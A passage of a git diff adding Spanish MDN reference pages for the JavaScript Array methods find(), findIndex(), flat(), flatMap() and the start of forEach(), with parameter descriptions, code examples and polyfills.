+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función que se ejecuta sobre cada valor en el array, tomando tres argumentos:
+ <dl>
+  <dt><code>element</code></dt>
+  <dd>El elemento actual que se está procesando en el array.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>El índice (posición) del elemento actual que se está procesando en el array.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>El array desde el que se llama al método <code>find</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Objeto a usar como <code><a href="/es/docs/Web/JavaScript/Referencia/Operadores/this">this</a></code> cuando se ejecuta <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El <strong>valor</strong> del <strong>primer elemento</strong> del array que cumple la función de prueba proporcionada; de lo contrario, devuelve {{jsxref("undefined")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>find</code> ejecuta la función <code>callback</code> una vez por cada índice del array hasta que encuentre uno en el que el <code>callback</code> devuelva un valor <a href="/es/docs/Glossary/Truthy">verdadero</a>. Si es así, <code>find</code> devuelve inmediatamente el valor del elemento. En caso contrario, <code>find</code> devuelve {{jsxref("undefined")}}.</p>
+
+<p><code>callback</code> se invoca con tres argumentos: el valor del elemento, el índice del elemento y el objeto <code>Array</code> que está siendo recorrido.</p>
+
+<p>Si un parámetro <code>thisArg</code> es proporcionado al método <code>find</code>, este será utilizado como <code>this</code> para cada invocación del callback. Si no se proporciona el parámetro, entonces se utiliza {{jsxref("undefined")}}.</p>
+
+<p>El método <code>find</code> no transforma el array desde el cual es llamado, pero la función proporcionada en <code>callback</code> sí. En ese caso, los elementos procesados por <code>find</code> son establecidos <em>antes</em> de la primera invocación de <code>callback</code>. Por lo tanto:</p>
+
+<ul>
+ <li><code>callback</code> no visitará ningún elemento añadido al array después de que comience la llamada a <code>find</code>.</li>
+ <li>Si un elemento existente no visitado del array es modificado por <code>callback</code>, su valor que se pasa al <code>callback</code> que lo visita será el valor en el momento en que <code>find</code> visita ese índice del elemento.</li>
+ <li>Los elementos que sean {{jsxref("delete", "deleted")}} (eliminados) aún se visitan.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Encontrar_un_objeto_en_un_array_por_una_de_sus_propiedades">Encontrar un objeto en un array por una de sus propiedades</h3>
+
+<pre class="brush: js">const inventario = [
+    {nombre: 'manzanas', cantidad: 2},
+    {nombre: 'bananas', cantidad: 0},
+    {nombre: 'cerezas', cantidad: 5}
+];
+
+function esCereza(fruta) {
+    return fruta.nombre === 'cerezas';
+}
+
+console.log(inventario.find(esCereza));
+// { nombre: 'cerezas', cantidad: 5 }</pre>
+
+<h4 id="Utilizando_funciones_flecha_y_destructuring">Utilizando funciones flecha y destructuring</h4>
+
+<pre class="brush: js">const inventario = [
+    {nombre: 'manzanas', cantidad: 2},
+    {nombre: 'bananas', cantidad: 0},
+    {nombre: 'cerezas', cantidad: 5}
+];
+
+const resultado = inventario.find( fruta =&gt; fruta.nombre === 'cerezas' );
+
+console.log(resultado); // { nombre: 'cerezas', cantidad: 5 }</pre>
+
+<h3 id="Encontrar_un_número_primo_en_un_array">Encontrar un número primo en un array</h3>
+
+<p>El siguiente ejemplo encuentra un elemento en un array que sea un número primo (o devuelve {{jsxref("undefined")}} si no hay un número primo).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  let start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start++ &lt; 1) {
+      return false;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, no encontrado
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<p>Los siguientes ejemplos muestran cómo elementos no existentes o eliminados son visitados y el valor pasado a <code>callback</code> es su valor cuando son visitados.</p>
+
+<pre class="brush: js">// Declarar un array sin elementos en los índices 2, 3 y 4
+const array = [0,1,,,,5,6];
+
+// Muestra todos los índices, no sólo aquellos que tienen valores asignados
+array.find(function(value, index) {
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+
+// Mostrar todos los índices, incluyendo los eliminados
+array.find(function(value, index) {
+
+  // Eliminar el elemento 5 en la primera iteración
+  if (index == 0) {
+    console.log('Deleting array[5] with value ' + array[5]);
+    delete array[5];
+  }
+  // El elemento 5 se visita aun habiendo sido eliminado
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+// expected output:
+// Deleting array[5] with value 5
+// Visited index 0 with value 0
+// Visited index 1 with value 1
+// Visited index 2 with value undefined
+// Visited index 3 with value undefined
+// Visited index 4 with value undefined
+// Visited index 5 with value undefined
+// Visited index 6 with value 6
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este método ha sido añadido a la espeficicación ECMAScript 2015 y puede no estar disponible en todas las implementaciones de JavaScript aún. Sin embargo, puedes utilizar el siguiente polyfill de <code>Array.prototype.find</code>:</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return kValue.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return kValue;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return undefined.
+      return undefined;
+    },
+    configurable: true,
+    writable: true
+  });
+}
+</pre>
+
+<p>Si necesitas dar soporte a motores de JavaScript realmente obsoletos que no soportan <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, es mejor no utilizar el polyfill para los métodos <code>Array.prototype</code>, ya que no podrás hacerlos no enumerables.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.find")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} – encuentra y devuelve un índice</li>
+ <li>{{jsxref("Array.prototype.includes()")}} – comprueba que un valor existe en el array</li>
+ <li>{{jsxref("Array.prototype.filter()")}} – elimina todos los elementos que no coincidan</li>
+ <li>{{jsxref("Array.prototype.every()")}} – comprueba todos los elementos</li>
+ <li>{{jsxref("Array.prototype.some()")}} – comprueba hasta que un elemento coincide</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/findindex/index.html b/files/es/web/javascript/referencia/objetos_globales/array/findindex/index.html
new file mode 100644
index 0000000000..c249a3b2df
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/findindex/index.html
@@ -0,0 +1,187 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/findIndex
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Protitipo
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>findIndex()</strong></code> devuelve el <strong>índice</strong> del <strong>primer elemento</strong> de un array que cumpla con la función de prueba proporcionada. En caso contrario devuelve -1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html","shorter")}}</div>
+
+<p>Vea también el método {{jsxref("Array.find", "find()")}}, que devuelve el <strong>valor </strong>de un elemento encontrado en el array en lugar de su índice.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>( <var>element</var>[, <var>index</var>[, <var>array</var>]] )[, <var>thisArg</var>])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>callback</var></code></dt>
+ <dd>
+ <p>Función a ejecutar en cada uno de los valores del array hasta que devuelve <code>true</code>, indicando que el elemento que la cumple fue encontrado.</p>
+
+ <p>Recibe tres argumentos:</p>
+
+ <dl>
+  <dt><code><var>element</var></code></dt>
+  <dd>El elemento actual siendo procesado en el array.</dd>
+  <dt><code><var>index</var></code> {{optional_inline}}</dt>
+  <dd>El índice del elemento actual que está siendo procesado en el array.</dd>
+  <dt><code><var>array</var></code> {{optional_inline}}</dt>
+  <dd>El array <code>findIndex()</code> de donde fue llamado.</dd>
+ </dl>
+ </dd>
+ <dt><code><var>thisArg</var></code> {{optional_inline}}</dt>
+ <dd>Objeto opcional para usar como <code>this</code> cuando se ejecuta el <code><var>callback</var></code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un índice en el array si un elemento pasa la prueba; en caso contrario, <code>-1</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>findIndex()</code> ejecuta la función de <em><code>callback</code></em> una vez por cada índice del array hasta que encuentre uno donde <em><code>callback</code></em> devuelva un valor verdadero (eso es, un valor que <a href="/en-US/docs/Glossary/Type_Conversion">fuerza</a> un <code>true</code>).</p>
+
+<p>Si dicho elemento es encontrado, <code>findIndex()</code> inmediatamente devuelve el índice del elemento. Si la función <em><code>callback</code></em> nunca devuelve un valor verdadero (o el tamaño del array es 0), <code>findIndex</code> devuelve <code>-1</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Alerta de Edge Case:</strong> A diferencia de otros métodos de arrays como {{jsxref("Array.some()")}}, <code><var>callback</var></code> se ejecuta incluso en índices sin valores asignados.</p>
+</div>
+
+<p><em><code>callback</code></em> se invoca con tres argumentos:</p>
+
+<ol>
+ <li>El valor del elemento</li>
+ <li>El índice del elemento</li>
+ <li>El Array que será recorrido.</li>
+</ol>
+
+<p>Si el parámetro <code>thisArg</code> es provisto a findIndex, entonces será usado como el this para cada invocación del <code>callback</code>. Si no es provisto, entonces {{jsxref("undefined")}} será utilizado. </p>
+
+<p>El rango de elementos procesados por <code>findIndex()</code> se establece antes de la primera invocación de la función <em><code>callback</code></em>. Los elementos añadidos al array después de que la llamada a <code>findIndex()</code> comience no serán visitados por el <code>callback</code>. Si un elemento existente que no ha sido visitado en el array es modificado por el <em><code>callback</code></em>, el valor pasado al <em><code>callback</code></em> que lo visite será el valor en el momento en que <code>findIndex()</code> visite el índice del elemento.</p>
+
+<p>Los elementos <a href="/es/docs/Web/JavaScript/Referencia/Operadores/delete">eliminados</a> aún son visitados.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Encontrar_el_índice_de_un_número_primo_en_un_array">Encontrar el índice de un número primo en un array</h3>
+
+<p>El siguiente ejemplo encuentra el índice de un elemento en el array que sea número primo (o devuelve <code>-1</code> si no hay ningún número primo).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+  var start = 2;
+  while (start &lt;= Math.sqrt(element)) {
+    if (element % start &lt; 1) {
+      return false;
+    } else {
+      start++;
+    }
+  }
+  return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, no encontrado
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h3 id="Encontrar_un_índice_utilizando_funciones_flecha">Encontrar un índice utilizando funciones flecha</h3>
+
+<p>El siguiente ejemplo encuentra el índice de una fruta utilizando funciones flecha.</p>
+
+<pre class="brush: js">const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"];
+
+const index = fruits.findIndex(fruit =&gt; fruit === "blueberries");
+
+console.log(index); // 3
+console.log(fruits[index]); // blueberries
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    },
+    configurable: true,
+    writable: true
+  });
+}
+</pre>
+
+<p>Si necesita soporte para motores de JavaScript obsoletos que no soportan <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/defineProperty">Object.defineProperty</a></code> es mejor no emplear polyfills para métodos <code>Array.prototype</code>, ya que no puede hacerlos no-enumerables.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.findIndex")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/flat/index.html b/files/es/web/javascript/referencia/objetos_globales/array/flat/index.html
new file mode 100644
index 0000000000..67d1b3a4c7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/flat/index.html
@@ -0,0 +1,174 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/flat
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p>El método <code><strong>flat()</strong></code> crea una nueva matriz con todos los elementos de sub-array concatenados recursivamente hasta la profundidad especificada.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flat.html")}}</p>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<var>[depth]</var>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>El nivel de profundidad que especifica qué tan profunda debe aplanarse una estructura de matriz anidada. El valor predeterminado es 1.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una nueva matriz con los elementos de la sub-matriz concatenados en ella.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Aplanar_matrices_anidadas">Aplanar matrices anidadas</h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h3 id="Aplanamiento_y_huecos_de_matriz">Aplanamiento y huecos de matriz</h3>
+
+<p>El método de aplanar elimina las ranuras vacías en las matrices:</p>
+
+<pre class="brush: js">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+</pre>
+
+<h2 id="Alternativa">Alternativa</h2>
+
+<h3 id="reduce_y_concat"><code>reduce</code> y <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+//aplanar una matriz de nivel único
+arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
+
+//o
+const flatSingle = arr =&gt; [].concat(...arr);
+</pre>
+
+<p> </p>
+
+<pre class="brush: js">//para permitir el aplanamiento a nivel profundo use recursión con reduce y concat
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+
+function flattenDeep(arr1) {
+   return arr1.reduce((acc, val) =&gt; Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
+}
+flattenDeep(arr1); // [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+<p> </p>
+
+<pre class="brush: js">//aplanamiento profundo no recursivo usando un stack
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // elimina ultimo valor del stack
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // agrega de nuevo los items al array, sin modificar la entrada original
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  //invierte para restaurar el orden de entrada
+  return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]</pre>
+
+<p> </p>
+
+<pre class="brush: js">//Aplanamiento profundo recursivo
+function flatten(array) {
+  var flattend = [];
+  !(function flat(array) {
+    array.forEach(function(el) {
+      if (Array.isArray(el)) flat(el);
+      else flattend.push(el);
+    });
+  })(array);
+  return flattend;
+}</pre>
+
+<p> </p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.flat) {
+  Array.prototype.flat = function(depth) {
+    var flattend = [];
+    (function flat(array, depth) {
+      for (let el of array) {
+        if (Array.isArray(el) &amp;&amp; depth &gt; 0) {
+          flat(el, depth - 1);
+        } else {
+          flattend.push(el);
+        }
+      }
+    })(this, Math.floor(depth) || 1);
+    return flattend;
+  };
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></td>
+   <td>Finalizado (4)</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/flatmap/index.html b/files/es/web/javascript/referencia/objetos_globales/array/flatmap/index.html
new file mode 100644
index 0000000000..0a93f97675
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/flatmap/index.html
@@ -0,0 +1,128 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/flatMap
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p>El método <code><strong>flatMap()</strong></code> primero mapea cada elemento usando una función de mapeo, luego aplana el resultado en una nueva matriz. Es idéntico a un <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> seguido de un <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array/flatten">flatten </a>de profundidad 1, pero <code>flatMap</code> es a menudo útil y la fusión de ambos en un método es ligeramente más eficiente.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+<p class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La fuente de este ejemplo interactivo, se almacena en un repositorio de GitHub.</span> <span title="">Si desea contribuir al proyecto de ejemplos interactivos, clone </span></span><a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a><span class="tlid-translation translation" lang="es"><span title=""> y envíenos una solicitud de extracción.</span></span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>var new_array = arr</var>.flatMap(function <var>callback(currentValue[, index[, array]]) {
+    // return element for new_array
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función que produce un elemento de la nueva matriz, tomando tres argumentos:
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>El elemento actual que se procesa en la matriz.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>El índice del elemento actual que se procesa en la matriz.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>La matriz <code>map</code> fue llamada.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>Valor para usar como <code>this</code> al ejecutar <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una nueva matriz con cada elemento es el resultado de la función de devolución de llamada y se aplana a una profundidad de 1.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Ver {{jsxref("Array.prototype.map()")}} para una descripción detallada de la función de devolución de llamada. El método <code>flatMap</code> es idéntico a <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code> seguido de una llamada a <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array/flatten">flatten</a></code> de profundidad 1.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="map_y_flatMap"><code>map</code> y <code>flatMap</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+
+arr1.map(</span></span></span></span></span>x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// [2, 4, 6, 8]</span></span></span></span></span>
+
+// solo un nivel es aplanado
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="Alternativa">Alternativa</h2>
+
+<h3 id="reduce_y_concat"><code>reduce</code> y <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+</span></span></span></span></span>
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// es equivalente a
+arr1.reduce((acc, x) =&gt; acc.concat([x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>), []);</span></span></span></span></span>
+<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>// [2, 4, 6, 8]</span></span></span></span></span>
+</pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este polyfill necesita <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat" title="Array.prototype.flat()">Array.prototype.flat polyfill</a></p>
+
+<pre class="brush: js">if (!Array.prototype.flatMap) {
+  Array.prototype.flatMap = function() {
+    return Array.prototype.map.apply(this, arguments).flat(1);
+  };
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap"><code>Array.prototype.flatMap</code> </a></td>
+   <td>Finalizado (4)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatten()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/foreach/index.html b/files/es/web/javascript/referencia/objetos_globales/array/foreach/index.html
new file mode 100644
index 0000000000..bc6b693176
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/foreach/index.html
@@ -0,0 +1,257 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/forEach
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.6
+  - Method
+  - Prototype
+  - Referencia
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>forEach()</strong></code> ejecuta la función indicada una vez por cada elemento del array.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>arr</var>.forEach(function <var>callback(currentValue, index, array) {
+    // tu iterador
+}</var>[, <var>thisArg</var>]);</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función a ejecutar por cada elemento, que recibe tres argumentos:</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>El elemento actual siendo procesado en el array.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>El índice del elemento actual siendo procesado en el array.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd>El vector en el que <code>forEach()</code> esta siendo aplicado.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd>Valor que se usará como <code>this</code> cuando se ejecute el <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>forEach()</code> ejecuta la función <code>callback</code> una vez por cada elemento presente en el array en orden ascendente. No es invocada para índices que han sido eliminados o que no hayan sido inicializados (Ej. sobre arrays <code>sparse</code>)</p>
+
+<p><code>callback</code> es invocada con tres argumentos:</p>
+
+<ol>
+ <li>el valor del elemento</li>
+ <li>el índice del elemento</li>
+ <li>el array que está siendo recorrido</li>
+</ol>
+
+<p>Si un parámetro <code>thisArg</code> es proporcionado a <code>forEach</code>, será usado como el valor <code>this</code> para cada invocación de <code>callback</code> como si se llamara a <code>callback.call(thisArg, element, index, array)</code>. Si <code>thisArg</code> es <code>undefined</code> o <code>null</code>, el valor <code>this</code> dentro de la función depende si la función está o no en <a href="/es/docs/Web/JavaScript/Referencia/Modo_estricto" title="JavaScript/Strict_mode">modo estricto</a> (valor pasado si está en modo estricto, objeto global si está en modo no-estricto).</p>
+
